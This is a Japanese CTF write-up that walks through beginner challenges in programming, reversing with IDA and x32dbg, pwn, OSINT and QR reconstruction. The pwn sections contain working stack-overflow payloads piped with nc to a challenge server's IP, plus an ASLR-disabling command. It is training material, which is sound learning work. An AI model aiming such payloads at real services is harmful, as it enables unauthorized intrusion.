# amactf writup ###### tags: `CTF` このWriteupは一例です☺️ ## プログラミング ### base64*? ![](https://i.imgur.com/seb0hdI.png) お勧めツール:python, cyberchef <details><summary>Write upはここをクリック</summary> base64を何回もされている問題です。 何回も地道にcyberchefでfrom base64レシピを実行するもいいですが・・・。 実はcyberchefでプログラムできます。 Labelレシピとjumpレシピを使います。 labalには適当な名前を、jumpのラベルにはlabel名を入れます。あとは回数を増やしていくだけ。 ![](https://i.imgur.com/E5KiCia.png) 最初のうちは、重いですが、だんだん処理がかるくなってくるはずです。 ![](https://i.imgur.com/jtjglJo.png) 最終的に40回で戻りきります。 ![](https://i.imgur.com/BRI9bxc.png) flag:actf{base64_yarisugi} コメント: python等ができる人は、プログラミング練習に、できない人でもcyberchefでも簡単なプログラムできる ことを知ってもらいたくてUPしました。 参考:solve.py ``` = from base64 import b64decode flag = '' with open('many_base2.txt') as f: flag = f.read().encode() while True: flag = b64decode(flag) if b'actf' in flag: print(flag) break ``` </details> ### 手計算塾version I 300 ![](https://i.imgur.com/UmPCQFD.png) お勧めツール:python, 電卓, 暗算 <details><summary>Write upはここをクリック</summary> とりあえず、3回ほど電卓等を使って計算結果を入力して様子を見てみます。 ![](https://i.imgur.com/NMYnQyR.png) サーバから受け取る内容(文字列)は 1回目は、 Q1. 452 - 436 = 2回目は、 正解! Q2. 92 - 108 = 3回目は、 正解! q3 986 * 24 = となり、1回目は2行分のデータ、2回目以降は3行分のデータを 内容として受け取り、また最後の行に計算式が含まれていることが この段階ではわかりました。 なので、上記のパターン内の計算式の部分だけ抽出して、プログラムで 計算し、結果をサーバへ送信することを続ければ、フラグがゲット できるのではないかとの予想できそうです。 今回は、サーバとの通信を簡単にできる、Netcatクラス(ネットからパクる) 及びPythonの正規表現モジュールを使用すれば計算式を抽出できそうです。 今回は、Windows10端末で「JetBrains:PyCharm community edition 2020.1.1」 を使用して、Pythonスクリプトを作成しました。 まずは、通信をするクラスファイルを作成します。 ![](https://i.imgur.com/nlM21D2.png) つぎに、計算式を解析して、フラグをゲットするまで サーバへ送信し続けるスクリプトを作成します。 何問出題されるかわからないため 今回は、while文でループして、最終行に計算式が含まれ ていなかったら、サーバから出題されなかったと仮定して作成します。 ![](https://i.imgur.com/Wk77ttA.png) ![](https://i.imgur.com/PPd1zTf.png) スクリプトを実行し、しばらくサーバとやりとりが続き、1000問目を クリアすると、フラグをゲットすることができました。 flag:actf{Aut0_C@lc_C0mpl3t3} 参考:main.py ``` = import re from netcat import Netcat nc = Netcat('3.19.22.162', 8005) count = 1 while True: q = nc.read() txt = q.decode('utf-8') res = re.findall(r'(\d+)\s*(\+|-|\*|/)\s*(\d+)', str(q)) if (len(res) != 0): a = int(res[0][0]) b = int(res[0][2]) sign = res[0][1] if sign == '+': nc.write('{0}\n'.format(a + b).encode('utf-8')) elif sign == '-': nc.write('{0}\n'.format(a - b).encode('utf-8')) elif sign == '*': nc.write('{0}\n'.format(a * b).encode('utf-8')) elif sign == '/': nc.write('{0}\n'.format(a / b).encode('utf-8')) print('{0}回目 クリア!'.format(count)) count += 1 else: print(txt) break; nc.close() ``` 参考:netcat.py ``` = import socket class Netcat: """ Python 'netcat like' module """ def __init__(self, ip, port): self.buff = "" self.socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM) self.socket.connect((ip, port)) def read(self, length=1024): """ Read 1024 bytes off the socket """ return self.socket.recv(length) def read_until(self, data): """ Read data into the buffer until we have data """ while not data in self.buff: self.buff += self.socket.recv(1024) pos = self.buff.find(data) rval = self.buff[:pos + len(data)] self.buff = self.buff[pos + len(data):] return rval def write(self, data): self.socket.send(data) def close(self): self.socket.close() ``` </details> ## リバーシング ### 配列 150 ![](https://i.imgur.com/y8Pmk0p.png) お勧めツール:python, java, excel, googleスプレッドシート <details><summary>Write upはここをクリック</summary> 問題ファイルをテキストエディタで開くと、最後の文字列"u_c4n_s04v4j_3vl!p300r_m4cgdr!_!"と比較するポイのが分かります。 ![](https://i.imgur.com/NA6xPxw.png) javaは分からなくても何となく配列の処理がされているのが分かると思います。 ![](https://i.imgur.com/LiebWXH.png) excelに配列に合わせて入れていくとflagが分かります。 ![](https://i.imgur.com/6bOnvxZ.png) flag:actf{u_c4n_s0lv3_j4v4_pr0gr4m_c0d3!!!} コメント: リバーシングの問題を探してた時にpicoCTFで見つけた問題をパクりました。 プログラミングの配列を思い出せるいい問題だなと思います。 pythonなどでプログラミングして解けると早いです。 参考:solve.py ``` keyword = "u_c4n_s04v4j_3vl!p300r_m4cgdr!_!" flag = list(keyword) for i in range (7): flag[i] = keyword[i] for i in range(8, 15): flag[i] = keyword[23-i] for i in range(16, 31, 2): flag[i] = keyword[46-i] for i in range(31, 17, -2): flag[i] = keyword[i] print(''.join(flag)) ``` </details> ### UPX 150 ![](https://i.imgur.com/eWyMJ6v.png) お勧めツール:ida free, x32dbg , PPEE, CFF Explorer <details><summary>Write upはここをクリック</summary> まずは表層解析、実行してみる。 (CTFで、実行してみる際は、コマンドプロンプトから起動するのがポイント!) ※一瞬で終わってしまい何が起きたかわからない場合があるので。 入力が求められるので、適当にいれて"Failure"が表示されることがわかる。 ![](https://i.imgur.com/hgvoZP0.png) PEファイル解析ツール「PPEE」を起動し、「Auto.exe」にドラッグ&ドロップする。 ASCIIの項目を確認し、文字列抽出を確認すると、UPXの文字が確認できる。 ![](https://i.imgur.com/r9rwkDP.png) UPXでググるとプログラム圧縮ソフト(パッカー)であることがわかる。 ![](https://i.imgur.com/dZRpXvq.png) UPXはCFF Explorerで解凍(アンパック)できる。 [CFF Explorer LINK](https://ntcore.com/?page_id=388) CFF explorerを実行し、Auto.exeを開く。 UPX UtilityのUnpackボタンを押す。 成功すると、下にメッセージが表示される。 右上のFileメニューからSave asで名前を付けて保存する。 ![](https://i.imgur.com/YFctjvl.png) ![](https://i.imgur.com/ZyqKKkn.png) ![](https://i.imgur.com/Vrdt3fo.png) エクスプローラ表示からファイル数が増えたのが確認できる。 ![](https://i.imgur.com/kfeD3O1.png) PPEEに再度入れ直して、ASCIIから文字列抽出を行うとflagぽいものがみえる。 ![](https://i.imgur.com/VaEquV3.png) 動的解析に移る。 ここからx64dbgを使用します。 簡単なチートシートはこちら[SANSチートシート](https://digital-forensics.sans.org/media/malware-analysis-cheat-sheet.pdf) 覚えておいてほしい操作 ``` F9:プログラム実行 F8:ステップアウト(1行づつ実行。ただしメイン関数から呼び出される関数内はみない。) F7:ステップイン(1行づつ実行。メイン関数から呼び出される関数の中までみる。) F2:ブレークポイント設定・解除(ブレークポイントを置いておくと、プログラムを実行した際そこで一時停止する。) ctrl+F2:再実行 ``` ![](https://i.imgur.com/dmd1B9Z.png) x64デバッカー(x32dbg)を起動し、アンパックしたAuto.exeを開く。 ![](https://i.imgur.com/Bkc3ze5.png) シンボルタブをクリックし、Auto.exe内の関数を表示する。 <シンボル> -> <auto.exe> ![](https://i.imgur.com/p6KBfnL.png) 文字入力を受け付けるscanfがあるので、そこにブレークポイントを置く。 ![](https://i.imgur.com/9LYLVNY.png) F10を何回か押してプログラムの実行し、エントリーポイントの表示まで進める。(プログラムの最初) ![](https://i.imgur.com/jxzblkd.png) F9を押しブレークポイントまでプログラムを進める。 ![](https://i.imgur.com/qackGed.png) F8キーを押してプログラムを少しづつ動かす。 「アドレス:74F15B13」でF8キーを押しても反応なくなる。 ![](https://i.imgur.com/jcUJykJ.png) バックで動いていた(勝手に起動しています。)auto.exeの画面に切り替え、適当に文字を入力してEnterキーを押す。 ![](https://i.imgur.com/1YMqq7q.png) デバッカーに戻るとF8キーでプログラムが動く。 少しづつ動かしていく。 しばらく進めると自分が入力した文字列やフラグが表示される。 ![](https://i.imgur.com/5JyoMhd.png) flag:actf{Ultim@te_P@cker_F0r_Execut@le5} コメント: この問題は、プログラムの表層解析でパッカーに気づくのを体験してもらいたくてアップしました。 ここでは使ってませんが、パッカーの判定にはDIE(Detect It Easy)というツールがオススメです。 ![](https://i.imgur.com/LoZN1QN.png) </details> ### revel 2 250 ![](https://i.imgur.com/b610GS4.png) お勧めツール:x32dbg, IDA free <details><summary>Write upはここをクリック</summary> まずは表層解析、実行してみる。 入力が求められるので、適当にいれて"Failed"が表示されることがわかる。 ![](https://i.imgur.com/O552ynW.png) PPEEを実行して、ASCIIを見てみる。 flagの断片はみえたが、わからない。 ![](https://i.imgur.com/EznXqtk.png) 動的解析にうつる。 今回はIDA free([DL先](https://www.hex-rays.com/products/ida/support/download_freeware/)) を使用します。 [IDAチートシート](https://www.hex-rays.com/products/ida/support/freefiles/IDA_Pro_Shortcuts.pdf) IDAの覚えてほしい操作 ``` ※x64dbgと似てる。 F9 実行 F8 ステップアウト F7 ステップイン F2 ブレークポイント 文字列操作(便利) H 10進数に変換 R ASCII文字に変換 ``` ![](https://i.imgur.com/jeaR3VN.png) idaを起動したらNEWを押してファイル(Level02.exe)を選択する。 ![](https://i.imgur.com/2BRnx99.png) ![](https://i.imgur.com/K8JDDjy.png) OKを押す。 ![](https://i.imgur.com/26VEGXK.png) NOを押す。 ![](https://i.imgur.com/EVmxTsY.png) IDAが起動したら、左側の関数のところを上から順番にクリックして、メイン関数ぽいのを探す。 ![](https://i.imgur.com/7NcalxG.png) sub_401090でInput Flagの文字があるのでここを解析することにする。 ![](https://i.imgur.com/mp4RLuL.png) cmpとjmp命令に注意してみていくと、すぐに分岐がある。 ![](https://i.imgur.com/ETCxpLe.png) jnz loc_4014A8にブレークポイント(F2)を置いて実行(F9)する。 ![](https://i.imgur.com/hlLu3iZ.png) F9を押すとメッセージがでるが、気にせずYesを押す。 ![](https://i.imgur.com/nq6eOfh.png) プログラムが実行され、入力を求められるので、適当に入力しEnterキーを押して、IDAに戻る。 ![](https://i.imgur.com/6AJt1wU.png) 分岐の部分で→が点滅している。(実行予定の方向) ![](https://i.imgur.com/fBjrZTs.png) 矢印の先を見てみると、プログラムがfailedで終了することが分かる。 ![](https://i.imgur.com/ju9fO0u.png) あきらめてF9でプログラムを実行し、終了させる。 再度F9でプログラムを実行し、分岐部分のcmp命令に注目する。 cmp ecx 1Dh の1Dhをクリックし「H」キーを押すと、10進数の29に変わる。 ここで入力された文字数と比較しているのでは?と推測する。 ![](https://i.imgur.com/hjyRtmp.png) ![](https://i.imgur.com/NBPgpAY.png) さらに少し下を見るとactf{が見える。 ![](https://i.imgur.com/9wYjMX0.png) プログラムを実行して29文字でactf{始まり}終わる文字を入れてみる。 ※メモ帳に事前に作成しておくと便利です。 ![](https://i.imgur.com/mESW9LE.png) ![](https://i.imgur.com/hCYz7Ys.png) Enterキーを押してIDAに戻ると分岐がさっきと違う方向に行くのが分かる。 ![](https://i.imgur.com/roZDyID.png) F8キーで少しづつ進めてみる。 actf{があっていたので、次の分岐も進める。 ![](https://i.imgur.com/0QVeaaA.png) 少しづつ進めてJZ分岐まで進める。 ※途中の分岐ぽいのは気にしない。 ![](https://i.imgur.com/Ea2gBT1.png) }があっていたので分岐が進む。 ![](https://i.imgur.com/iOboetA.png) F8で進めていく。 どんどん進めていくと"3r"が見える. 次の文字比較は3rかなと予想する。 mov exc,offset a3rまで来たら、マウスカーソルを色々なところに合わせてみる。 eaxや[esi+1Ah]、[ebp+Dst]など。 ![](https://i.imgur.com/6b85L1Q.png) すると自分で入力した文字列が見える。 ![](https://i.imgur.com/Cu476GV.png) lmが3rと判明する。 ![](https://i.imgur.com/2QSSBpC.png) F8で進めるとFailedでプログラムが終了するので、再度実行(F9)する。 今度は、actf{1234567890abcdefghijk3r}を入力。Enterキーを押す。 ![](https://i.imgur.com/BKCQjJl.png) さっきの分岐を乗り越えたら、慎重にF8で進めていく。 今度は"n0"がでてくる。 ![](https://i.imgur.com/JrBRNpd.png) またnop dword ptr [eax+00h]まで進んだら、マウスカーソルを色々合わせてみる。 すると[ebp+Dst]に自分が入力した"12"が入っているのが分かる。 ![](https://i.imgur.com/qGjxJ29.png) 6,7文字目がn0とわかる。 ![](https://i.imgur.com/s1954jJ.png) ブレークポイントを駆使ししながら、この作業を繰り返していくと、flagにたどり着ける。 ※ただ途中で法則性が分かると思うので、わかったらスペースキーを押してグラフビューからテキストビューに変換して、文字列だけ拾っていくと効率的です。 ![](https://i.imgur.com/bt0f6Zh.png) ![](https://i.imgur.com/xe3Vo43.png) ![](https://i.imgur.com/xW4WeHW.png) flag:actf{n0T_s721n95_u5E_d38GG3r} 補足:IDAを終了する際は、Don't save databaseにチェックをいれると変はファイルが作成されずに終了することができす。 ![](https://i.imgur.com/9ST0ySs.png) コメント: リバーシングを体験してもらいたくてアップした問題です。 アセンブラに慣れるまでは、「まずは分岐にブレークポイントをおいてそこまで進める。マウスを色々合わせてみる。」がお勧めです。 最初のうちはあまりオペコードやレジスタはわからなくても気にしない方がいいと思います。 </details> ### Level 2.5 280 ![](https://i.imgur.com/JCmcCYw.png) お勧めツール:x32dbg, IDA free <details><summary>Write upはここをクリック</summary> 実行してみる。文字入力が求められる。 ![](https://i.imgur.com/CYAK0sJ.png) PPEEを実行し、文字抽出する。 Flagぽいのが見えるが、Flagとして解答サーバに入力しても通らない。 ![](https://i.imgur.com/U0owNKA.png) 動的解析に移る。 "IDA free"を起動して、プログラムを開く。 ![](https://i.imgur.com/hkj5wl2.png) "sub_401090"をクリックすると、rev1などの文字列がみえる。 ![](https://i.imgur.com/yGod3I1.png) 最初の分岐にF2でブレークポイントを置く。 ![](https://i.imgur.com/CfWHugV.png) F9でプログラムを実行し、入力画面が起動するので適当に入力しIDAに戻る。 ![](https://i.imgur.com/e7z3Xxr.png) 分岐前の「cmp eax,778h」に注目する。 ![](https://i.imgur.com/btdO1Lh.png) 778h の上でHキーを押す。 778h → 1912 ![](https://i.imgur.com/kv9lerI.png) F9でプログラムを進めて終了する。 再度、F9でプログラムを実行する。 入力が求められたら、調査でわかった「1912」を入力する。 ![](https://i.imgur.com/H9mTO8T.png) F8で進めていくと "call sub_B71020" で進まなくなる。 バックで動いている "Level 2.5.exe" 入力が待ち受けているので、適当に入力する。 ![](https://i.imgur.com/7oeMetn.png) ![](https://i.imgur.com/YhRFEeg.png) F8で進めていくと、"jnz loc_B711EC"でプログラムの終了の分岐がある。 "cmp ecx,4"で比較している。 文字の長さと予想する。 ![](https://i.imgur.com/jNRiX0X.png) ![](https://i.imgur.com/9kGU7cn.png) "jnz loc_B711EC"にF2でブレークポイントを置く。 一度F9で進めてプログラムを終了させ、再実行する。 rev_2に文字入力で4文字適当に入力する。 ![](https://i.imgur.com/UYGiTU9.png) F8で少しづつ進めていくと、F8で進めていくとさっきの分岐が超えられる。 さらにF8で進めていくと "jnz loc_B711EC" でプログラムが終了する分岐がある。 ![](https://i.imgur.com/h8LTTx1.png) "cmp al,[edx]"に注目し、マウスカーソルをal,[edx]に置くと中の値が確認できる。 [edx] → a ![](https://i.imgur.com/uv30ow5.png) al → 31 ![](https://i.imgur.com/GzvWaB7.png) ascii 31 → 1 (自分が入れた文字の最初の文字) ![](https://i.imgur.com/INf91HK.png) 1とaを比較しているのがわかったので、1文字目がaと判断できる。 一度F9で進めてプログラムを終了させ、再実行するとさっきの分岐を超えて、ループして再度 "cmp al,[edx]"で比較される。マウスカーソルをal,[edx]に置くと中の値が確認し2文字目が判明する。 ![](https://i.imgur.com/Uh51ZtO.png) ![](https://i.imgur.com/OPuHUcC.png) ![](https://i.imgur.com/7T9k0f9.png) ![](https://i.imgur.com/7XQInzz.png) 何度か調査していれば、rev_2のキーワードalanとわかるので、入力すると、rev_3に進む。 ![](https://i.imgur.com/v8ySX0t.png) F8で進めていくと、F8押しても進まなくなるので、プログラムに画面を切り替えると入力が求められている。適当に1912と入力してみる。 進めていくと"Bad"の分岐にすすむ。 分岐の前の比較は cmp ecx,6 ひとつ前のパターンと同じで文字の長さ比較と予想でき、6文字入力する必要があることがわかる。 ![](https://i.imgur.com/f0H6b94.png) rev_3 に6文字入力(123456)してみると分岐を超えられるのでF8で進める。 ![](https://i.imgur.com/NwdnlXF.png) そのまま進めていくと、プログラムが終了してしまう。 ![](https://i.imgur.com/Lb5TpHi.png) 再実行をすると、プログラムが先に進む。 cmp al,[ecx] [ecx] → | ![](https://i.imgur.com/aWQr7iS.png) al → 9 (今回入力していない文字) ![](https://i.imgur.com/eFVUtMd.png) ひとつ前の命令を見ると xor al, 8 がある。 |を8 xorでするとtになる。 ![](https://i.imgur.com/ZGgZ1S0.png) 1文字目が"t"と分かる。 プログラムを一度終了し、再度rev_3の入力受付まですすめ、t23456と入力するとループして分岐にもどる。 ![](https://i.imgur.com/FFmz6qz.png) つぎは}と比較しているのがわかる。 ![](https://i.imgur.com/kQHKlpQ.png) [ecx]の中を上から順番に比較しているのがわかるので、|}zafoを8でxorしたものがキーワードとわかる。 CyberChefを使い8でxorをして「turing」 ![](https://i.imgur.com/3s69URF.png) 最終的に、rev_1 で 1912、rev_2 で alan、rev_3 で turingと入力すると成功のメッセージが表示される。 ![](https://i.imgur.com/1EFf65K.png) flag:actf{1912_alan_turing} コメント: 最初のうちは、Level2と同様、入力してマウスカーソルをいろいろ合わせて、自分の入力した文字が入ってないか、flagぽいのはないか。みるのがポイントです。 だんだん慣れてきたらeax(汎用レジスタ)、ecx(カウンタ)などのレジスタの役割や、call関数の前のpushの意味(引数)やあとのeax(戻り値)に入る値など覚えていくとより、効率的に解けるようなれると思います。 </details> ## pwn ### ROP2 280 ![](https://i.imgur.com/2vCPPEw.png) お勧めツール:gdb-peda , objdump , netcat, python , echo <details><summary>Write upはここをクリック</summary> まずはファイルに実行権を与える。 ``` $ chmod 755 bof_ROF2 ``` ![](https://i.imgur.com/Z3KD0A2.png) とりあえず実行してみる。 ``` $ ./bof_ROF ``` ![](https://i.imgur.com/kxy1m1i.png) 「Hello world!~Let's pwn me!!」が出てくるので適当に「aaa」と入力してみると「failed!try again!」と返ってくる。 gdb-pedaをインストール(入ってない場合) ``` $ apt-get install gdb $ git clone https://github.com/longld/peda.git ~/peda $ echo "source ~/peda/peda.py" >> ~/.gdbinit ``` gdb-pedaで見てみる。 ``` $ gdb bof_ROF2 ``` ![](https://i.imgur.com/O1cHVDw.png) プロンプトがgdb-pdeaに変わります。 オーバーフローさせるための文字数が解らないのでとりあえず100文字作り、100文字コピーする。 ``` gdb-peda$ pattern_create 100 'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL’ ``` 'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL'をコピーする。 プログラムを実行する。 ``` gdb-peda$ r ``` コピーした100文字を貼り付けてEnterキー。 EIPに入った文字列が何文字でオーバーフローするか確認する。 ``` gdb-peda$ patto 2AAH ``` ![](https://i.imgur.com/7cFrzd1.png) 60文字でオーバーフローするのがわかる。 別窓を起動し、objdumpで関数一覧を確認する。 ``` $ objdump -d --no -M intel bof_RLF2 ``` ![](https://i.imgur.com/wW5yp67.png) 怪しい関数がないかざっくり見てみる。         ・         ・         ・ ![](https://i.imgur.com/SqsVCSa.png) flag関数が怪しいのでgdb-pdeaに戻りflag関数のアドレスを調べる。 ``` gdb-peda$ p flag ``` ![](https://i.imgur.com/53hbfcb.png) ローカルで試す前にALSRを無効化する。 ``` $ sudo sysctl -w kernel.randomize_va_space=0 ``` flag関数のアドレスが解ったのでローカルで試す。 ※アドレス「0x56555618」をリトルエンディアン(逆から)にすること! ``` $ python -c "print('A'*60+'\x18\x56\x55\x56')" | ./bof_ROF2 ``` もしくは ``` $ echo -e 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x18\x56\x55\x56' | ./bof_ROF2 ``` ![](https://i.imgur.com/jJUgsjd.png) Excellent!確認できたので実際にnetcatでやってみる。 ``` $ python -c "print('A'*60+'\x18\x56\x55\x56')" | nc 3.19.22.162 8003 ``` もしくは ``` $ echo -e 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x18\x56\x55\x56' | nc 3.19.22.162 8003 ``` ![](https://i.imgur.com/cyoXoTV.png) flagげっと flag:actf{u_c4n_4n4lyz3_func4ddr} コメント: </details> ### ROP 250 ![](https://i.imgur.com/5NGCM3I.png) お勧めツール:gdb-peda , netcat, python , echo <details><summary>Write upはここをクリック</summary> まずはファイルに実行権を与える。 ``` $ chmod 755 bof_ROF ``` ![](https://i.imgur.com/aLuFjVA.png) とりあえず実行してみる ``` $ ./bof_ROF ``` ![](https://i.imgur.com/sOOvoSr.png) 何やら怪しいアドレス「0x565555ed」が出てくるので適当に「aaa」と入力してみると「failed!try again!」と返ってくる。 gdb-pedaをインストール(入ってない場合) ``` $ apt-get install gdb $ git clone https://github.com/longld/peda.git ~/peda $ echo "source ~/peda/peda.py" >> ~/.gdbinit ``` gdb-pedaで見てみる。 ``` $ gdb bof_ROF ``` ![](https://i.imgur.com/xuqFcfe.png) プロンプトがgdb-pdeaに変わります。 オーバーフローさせるための文字数が解らないのでとりあえず100文字作り、100文字コピーする。 ``` gdb-peda$ pattern_create 100 'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL' ``` 'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL'をコピーする。 プログラムを実行する。 ``` gdb-peda$ r ``` コピーした100文字を貼り付けてEnterキー。 ![](https://i.imgur.com/xgrZSBb.png) EIPに入った文字列が何文字でオーバーフローするか確認する。 ``` gdb-peda$ patto AFAA ``` ![](https://i.imgur.com/lrdms11.png) 44文字でオーバーフローするのがわかる。 ローカルで試す前にALSRを無効化する。 ``` $ sudo sysctl -w kernel.randomize_va_space=0 ``` ![](https://i.imgur.com/SfJmZYu.png) ローカルで試してみる。 とりあえず実行してみたときに確認した何やら怪しいアドレス「0x565555ed」に対し、44文字でやってみる。 ※アドレス「0x565555ed」をリトルエンディアン(逆から)にすること! ``` $ python -c "print('A'*44+'\xed\x55\x55\x56')" | ./bof_ROF ``` もしくは ``` $ echo -e 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\xed\x55\x55\x56' | ./bof_ROF ``` ![](https://i.imgur.com/CccLIWO.png) Great!を確認できたので実際にnetcatでやってみる。 ``` $ python -c "print('A'*44+'\xed\x55\x55\x56')" | nc 3.19.22.162 8004 ``` もしくは ``` $ echo -e 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\xed\x55\x55\x56' | nc 3.19.22.162 8004 ``` ![](https://i.imgur.com/pkWS6Mu.png) flagげっと flag:actf{u_c4n_0v3rw1t3_r3_4ddr} コメント: </details> ### 文字未割当 200 ![](https://i.imgur.com/eGLJUlR.png) お勧めツール:strace , ltrace , テキストエディタ , netcat , python , echo <details><summary>Write upはここをクリック</summary> まずはソースファイル「nc_challenge.cpp」を見てみる。 ![](https://i.imgur.com/T5pURc0.png) 入力された値が\x01\x02\x03\x04\x05でSuccess.Good job!なのでそのまま使います ファイルに実行権を与える。 ``` $ chmod 755 nc_challenge ``` ![](https://i.imgur.com/OIQfLcP.png) straceしてみる。(ltraceでもok) ``` $ echo -e '\x01\x02\x03\x04\x05' | strace -i ./nc_challenge ``` ![](https://i.imgur.com/geCJIDy.png) ざっくり見てみる         ・         ・         ・ ![](https://i.imgur.com/MADxwWz.png) Succese.Good job!を確認できたので実際にnetcatでやってみる。 ``` $ echo -e '\x01\x02\x03\x04\x05' | nc 3.19.22.162 8002 ``` もしくは ``` $ python -c "print('\x01\x02\x03\x04\x05')" | nc 3.19.22.162 8002 ``` ![](https://i.imgur.com/cGMfdx1.png) flagげっと flag:actf{d1sable_pr1nt_asc11_c0de} コメント: </details> ### PWN入口 150 ![](https://i.imgur.com/RTZ6gBN.png) お勧めツール:strace , テキストエディタ , netcat , python , echo <details><summary>Write upはここをクリック</summary> まずはソースファイル「bofchallenge_1.c」を見てみる。 ![](https://i.imgur.com/WbuPwwF.png) char buf[40];40文字分のバッファ scanf("%s", buf);キーボードから入力される文字列 キーボードから入力される文字列は40文字分の領域しか確保していないというのが解ります。 ファイルに実行権を与える。 ``` $ chmod 755 bofchallenge_1 ``` ![](https://i.imgur.com/FOqdwa0.png) straceしてみる。 ``` $ python -c 'print("A"*40)' | strace -i ./bofchallenge_1 ``` ![](https://i.imgur.com/i6GLfqx.png) si_addr=0x4141413d Segmentation fault が発生したときにIP = 0x4141413d となっていて40文字入力した「A」の一部分が現れていることがわかります。 success! you hacked!を確認できたので実際にnetcatでやってみる。 ※アドレス「0x4141413d」をリトルエンディアン(逆から)にすること! ``` $ python -c "print('A'*40+'\x3d\x41\x41\x41')" | nc 3.19.22.162 8001 ``` もしくは ``` $ echo -e 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x3d\x41\x41\x41' | nc 3.19.22.162 8001 ``` ![](https://i.imgur.com/aOzKgxR.png) flagげっと flag:actf{U_c4n_d0_b0f_F1rst!} 地下からnetcatはうまくできませんで代替え手段。 ※使用するにはgoogleアカウントでログインが必須 googleで「Colaboratory」と検索 ![](https://i.imgur.com/0jEbDVv.png) Colaboratoryの画面 ![](https://i.imgur.com/BYK5Aa0.png) 例文で入っている値を削除 ![](https://i.imgur.com/EtKx3sd.png) netcatをインストール ※Colaboratoryの仕様上頭に「!」をつける ``` !apt install netcat ``` ![](https://i.imgur.com/JThlIux.png) ``` !python -c "print('A'*40+'\x3d\x41\x41\x41')" | nc 3.19.22.162 8001 ``` もしくは ``` !echo -e 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x3d\x41\x41\x41' | nc 3.19.22.162 8001 ``` ![](https://i.imgur.com/wJgI5ir.png) 地下でnetcatを使用した問題をやるときは「Colaboratory 」を使用してみて下さい。 コメント: </details> ## OSINT ### Research 150 ![](https://i.imgur.com/GXY2i6v.png) お勧めツール:google <details><summary>Write upはここをクリック</summary> googleで「Operation In(ter)reception」を検索してみる。 ![](https://i.imgur.com/io2YQR3.png) 題目で「Operation In(ter)reception」が入っているのは、securityaffairs.coもしくは、medium.comの二つにしぼられます。両サイトとも中身は同じものですが、securityaffairs.coがオリジナルですのでsecurityaffairs.coで説明します。 ※google翻訳で原文と日本語訳をうまく利用しましょう 原文 ![](https://i.imgur.com/lYT4IYa.png) 日本語訳 ![](https://i.imgur.com/jFeTNHt.png) ※Campaign(キャンペーン): サイバー攻撃の活動の名前で「Operation 〇〇〇」とつけられることが多いです。 記事を少し読んでいくとグループ名が解ります。 ![](https://i.imgur.com/kTTWjZF.png) Lazarus APT group , Lazarus APT , Lazarus group , Lazarus , HIDDEN COBRA 上記グループ名どれでも正解するようにしてたはずです。違ってたらごめんなさい。 合わせてセキュリティベンダーのESETのリサーチによるものだと解ります。 IoCは記事の最後のほうに ※IoC(Indicator of Compromise): 攻撃の痕跡や侵害された情報のことを指します。検知名, ハッシュ値, ドメイン名, URL, IPアドレスなどが該当します。 ![](https://i.imgur.com/M2c4JGK.png) リンクを開くとESETのレポートにたどり着きます。 ![](https://i.imgur.com/2T0CNyg.png) 目次からIoCのURLをクリックします。 ![](https://i.imgur.com/Dt9ctNM.png) ![](https://i.imgur.com/i2Zecsk.png) flag:actf{Lazarus_https://cwjamaia[.]biz/images/log.png} Lazarus APT group , Lazarus APT , Lazarus group , Lazarus , HIDDEN COBRA 上記グループ名どれでも正解するようにしてたはずです。違ってたらごめんなさい。 コメント: OSINT問題(Misc/トリビア)は、問題文や問題名からいかにgoogle検索するかOSINT力にかかっています。その分、セキュリティの知識・技術がなくても答えにたどり着くことができる可能性があります。 </details> ## Misc ### QRc0d3 100 ![](https://i.imgur.com/pWxEiUL.png) お勧めツール:ペイント, Libre Office Impress <details><summary>Write upはここをクリック</summary> zipファイルを解凍すると4分割されたQRコードの画像ファイルがあります。 ![](https://i.imgur.com/NjTnt1E.png) それぞれペイントで開いていきます。 ![](https://i.imgur.com/LjLJN54.png) 原寸サイズのままだと合わせずらいので任意のサイズに変更します。 ※比率を変えないように注意しましょう。 ![](https://i.imgur.com/0YFFmYS.png) この際ファイル名が見えるようにしとけばどのファイルをどこに配置しているか解りやすいと思います。 ![](https://i.imgur.com/EpeR5jZ.png) ※QRコードの構成でアライメントパターンとクワイエットゾーンの関係から画像1-1が右下の配置で右に2回転するというのが確定します。 メニューバーの回転から右へ90度回転を2回しましょう。 ![](https://i.imgur.com/34slZuK.png) 確定している右下の画像1-1の上か左の画像を回転や反転で調整していきます。 ![](https://i.imgur.com/SJzt6Hw.png) 画像1-0をメニューバーの回転から左右反転させましょう。 ![](https://i.imgur.com/uaEFuKq.png) 画像0-1をメニューバーの回転から左へ90度回転させましょう。 ![](https://i.imgur.com/Y1005x6.png) 画像0-0はそのままでざっくりとですが各面が揃いました。 ![](https://i.imgur.com/RYeTW1F.png) それではペイントをもう一つ立ち上げて4つの画像をコピー&貼り付けをして合わせていきます。 貼り付けた画像は一番左上に来るのでドラッグアンドドロップで移動させて合わせます。 ![](https://i.imgur.com/3QpPOzU.png) ![](https://i.imgur.com/VW6ALtA.png) ![](https://i.imgur.com/phs0Wzl.png) 復元完了です。適当な名前をつけて保存します。 ![](https://i.imgur.com/4NpjH5R.png) QRコード読み込みツールなどで読み込ませます。 例)QRコード読み取り(QR Code Reader)   https://tool-taro.com/qr_code_decode/ 